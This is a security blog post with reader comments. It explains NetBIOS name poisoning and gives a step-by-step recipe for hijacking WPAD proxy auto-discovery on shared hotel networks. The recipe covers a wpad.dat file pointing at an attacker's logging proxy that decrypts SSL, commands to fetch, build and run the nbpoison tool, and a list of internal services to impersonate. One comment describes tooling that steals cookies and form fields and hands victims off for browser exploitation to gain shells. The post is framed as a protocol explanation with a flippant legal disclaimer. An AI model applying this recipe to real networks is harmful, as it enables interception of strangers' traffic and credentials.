Pwning hotel guests

Greetings everybody!

I spent a good part of the past month traveling, which meant staying in several hotels, both planned and unplanned. There's nothing like having a canceled flight and spending a boring night in San Francisco! But hey, why be bored when you have a packet sniffer installed? :)

Disclaimer: running a sniffer on somebody else's network may or may not be illegal; the only advice I can give is the guy down at Kinko's said it's okay.

Now, before I get to the fun, we need to step back and talk about NetBIOS name resolution a bit. My very first post on this blog was actually about NetBIOS and my NBTool suite, and you may want to review it because this'll be a quick crash course.

NetBIOS review

When Windows attempts to resolve domain names, it uses to DNS first. Assuming nobody has hijacked their DHCP request and fed them bad DNS servers, and nobody is performing ARP spoofing to redirect traffic, it'll go out to their DNS server. The DNS server, assuming it hasn't been poisoned or hijacked, will respond with the proper IP address. (It's a miracle anybody gets work done on the Internet, isn't it?)

If DNS fails, Windows tries NetBIOS name resolution. It's this resolution that lets you type "ping FREDSBOX" and, if FREDSBOX is alive, it'll resolve. While useful on a trusted network (haha, trusted network...), this resolution really just amounts to a broadcast saying "Who has XXX?" The thoughtful servers on the network, unless they're legitimately named "XXX", look down and shuffle their feet, and the server named "XXX" will say "hey, that's me!" But what's stopping an attacker from also claiming to be "XXX"?

Nothing.

That's why, in a fateful moment of usefulness, I wrote NBTool.

NBTool?

One of the tools included with NBTool, called nbpoison, will intercept requests and respond with a requested address. With the -c (or conflict) flag, it'll even inform other servers that they don't own a name. That might cause services to break, though, and some versions of Windows will pop up a warning when a conflict occurs. But such is life.

When you supply -c, you end up with traffic that looks like:

  • FREDSBOX: (having just booted) Hey guys, just FYI, I'm FREDSBOX
  • Attacker: No, sir, you are not; I am FREDSBOX
  • FREDSBOX: k, sorry (from then on, FREDSBOX won't respond to his own name)

So anyway, I wrote that awhile ago, and had some fun showing off to our co-op students ("look! going to 'www.yahoo.colm' takes you to Google! Isn't that funny?" (their answer was inevitably "no")), but then I shelved it to work on things people actually care about. (Note that 'www.yahoo.com' is intentionally misspelled -- the reason is that, if it's spelled correctly, the NetBIOS request would never be made).

What I hadn't realized was, there are more fun things you can do! Let's have a look.

Where'd that WPAD server go...?

One of the first things I noticed after running a packet capture in a hotel was this:

I saw some workstations desperately trying to find a server called WPAD, and I couldn't get over how familiar WPAD looked. Word Press [something]? [something] Active Directory? Is it a blog thing? Bah!

So, I looked it up on the Old Farmers Wikipedia, and found it: Web Proxy Auto Discovery. Of course! This must be somebody's browser trying to find a proxy server. Wait... somebody's browser is broadcasting a request for a proxy server? And it's willing to trust people to tell it which proxy to use? Awesome!

Now, this is where I stopped. Despite what the guy at Kinko's said, I'm not comfortable with actually redirecting people's traffic. That wouldn't be nice at all, and I'm reasonably sure it steps over that legal line. But, here's what one could do...

Step 1: Set up a logging proxy

Burp Suite and Paros, among others, would work great. It's especially fun because they'll decrypt SSL for you, and even let you modify requests/responses!

Step 2: Set up a Web server

Set up a Web server (or a netcat listener) that'll serve up a /wpad.dat file pointing to your logging proxy. I'm no expert on writing WPAD files, but I found this one online:

function FindProxyForURL(url, host)
{
  return "PROXY 192.168.100.123:8080";
}

Step 3: Start poisoning requests

$ wget http://www.skullsecurity.org/downloads/nbtool-0.02.tar.gz
$ tar -xvvzf nbtool-0.02.tar.gz
$ cd nbtool-0.02
$ make
$ sudo ./nbpoison -s 192.168.100.123

(nbpoison has to run as root because it listens on UDP port 137)

As of the current version, there's no way to actually pick and choose domains; it's all or nothing. So, every NetBIOS request will evoke a response. That can be fun, of course, but at some point I'll add a domain name argument.

Step 4: Watch the traffic

If all goes according to plan, anybody set to use auto-configured proxies will start using your proxy, and you can see what they're up to. And great times will be had by all!

Other attacks

Hijacking the WPAD file is cool, but what else can you do?

Well, it turns out that any internal server that the computers are configured to use will send out NetBIOS requests, because, for obvious reasons, their internal servers aren't listed in DNS. That can include, but isn't limited to:

  • Exchange (or other email) server
  • File shares
  • Instant messenger servers
  • Proxy server
  • Browser's homepage
  • Time reporting
  • Issue tracking
  • Internal news feeds
  • Development server
  • etc.

If you start hijacking names and hosting Web servers, SMB servers, etc, you may start seeing interesting requests. You'll want to run Wireshark, as well, to see what else is trying to connect to you. It'll be a party!

So, what's the big deal?

Yes, this is the key. What IS the big deal? So you can redirect somebody who's on the same subnet as you. Why not use ARP spoofing? DHCP poisoning? Other subnet-based attacks?

And that'd be a great question. This is yet another member of a long line of evil things you can do on a subnet. Not to mention scores of attacks against unsecured wireless, which hotels seem to like!

The biggest advantage I see is that this attack is fairly quiet, keeping a very low profile. Somebody who isn't performing NetBIOS resolutions won't even know that somebody's out there, and somebody who is will probably get expected error pages when they DO attempt a request. Additionally, when it comes right down to it, there's a much smaller chance of screwing things up with NetBIOS poisoning than other LAN attacks.

Thanks for reading!

11 thoughts on “Pwning hotel guests

  1. Reply

    Dah4cker

    Great article and nice tool by the way ! Got inspired by your idea and decided to explore it in my lab.. and it worked perfectly !

    You might wanna check this out -
    http://hypersecurity.blogspot.com/2009/12/netbios-spoofing.html

    Thanks,

    DaH4ckeR

    1. Reply

      Ron Post author

      Hey Dah4cker,

      Great followup! Glad you like the tool :D

      Ron

  2. Reply

    HD

    The web server included in Metasploit as part of "karmetasploit" is designed to handle WPAD as well - the built-in DNS replies to "wpad", it serves a "wpad.dat" file, and any user going through it has their cookies and saved form fields before being handed off to browser_autopwn for shells. Prior to MS08-068 we also did direct NTLM reflection to get a shell without "exploiting" the client in the normal sense

    1. Reply

      Ron Post author

      HD: Oh yeah? Does the DNS server respond to NetBIOS calls as well, or only to real DNS?

  3. Reply

    Roy'd

    I'd love to see an arguement added to change what port it listens to. Then I don't have to run it as root. I can just redirect UDP 137 to another port.

    1. Reply

      Ron Post author

      Hey Roy'd,

      There is actually an argument already, -p. Up till now, even if you gave -p it printed a warning about not being root, but I just modified it to get rid of that warning if you change the port manually. The modified version is in svn, http://svn.skullsecurity.org:81/ron/security/nbtool

  4. Reply

    bonarez

    Nice find.

    I've worked on more complex wpad records before. it's just javascript. you can filter on IP ranges and return different proxies so technically you can select targets.

  5. Reply

    vvp

    Very nice write up, I love how you went into detail and explained it a little, yet not to much for the more experienced people.

    Keep up the good work man.

    Cheers
    -Palin

  6. Reply

    n0on3

    nice work :)
    thanks for sharing!

  7. Reply

    summon

    Today I was considering something like a squid proxy to put against the WPAD's in a network. So instead of using it towards an evil purpose actually help alleviate some of the load of the network I'm forced to live in.

    Any ideas?

    1. Reply

      Ron Bowes Post author

      Interesting idea. Does that mean you'd be sending half the clients out through a different gateway, then? Like, through the neighbouring building's Wifi?

Leave a Reply

Your email address will not be published.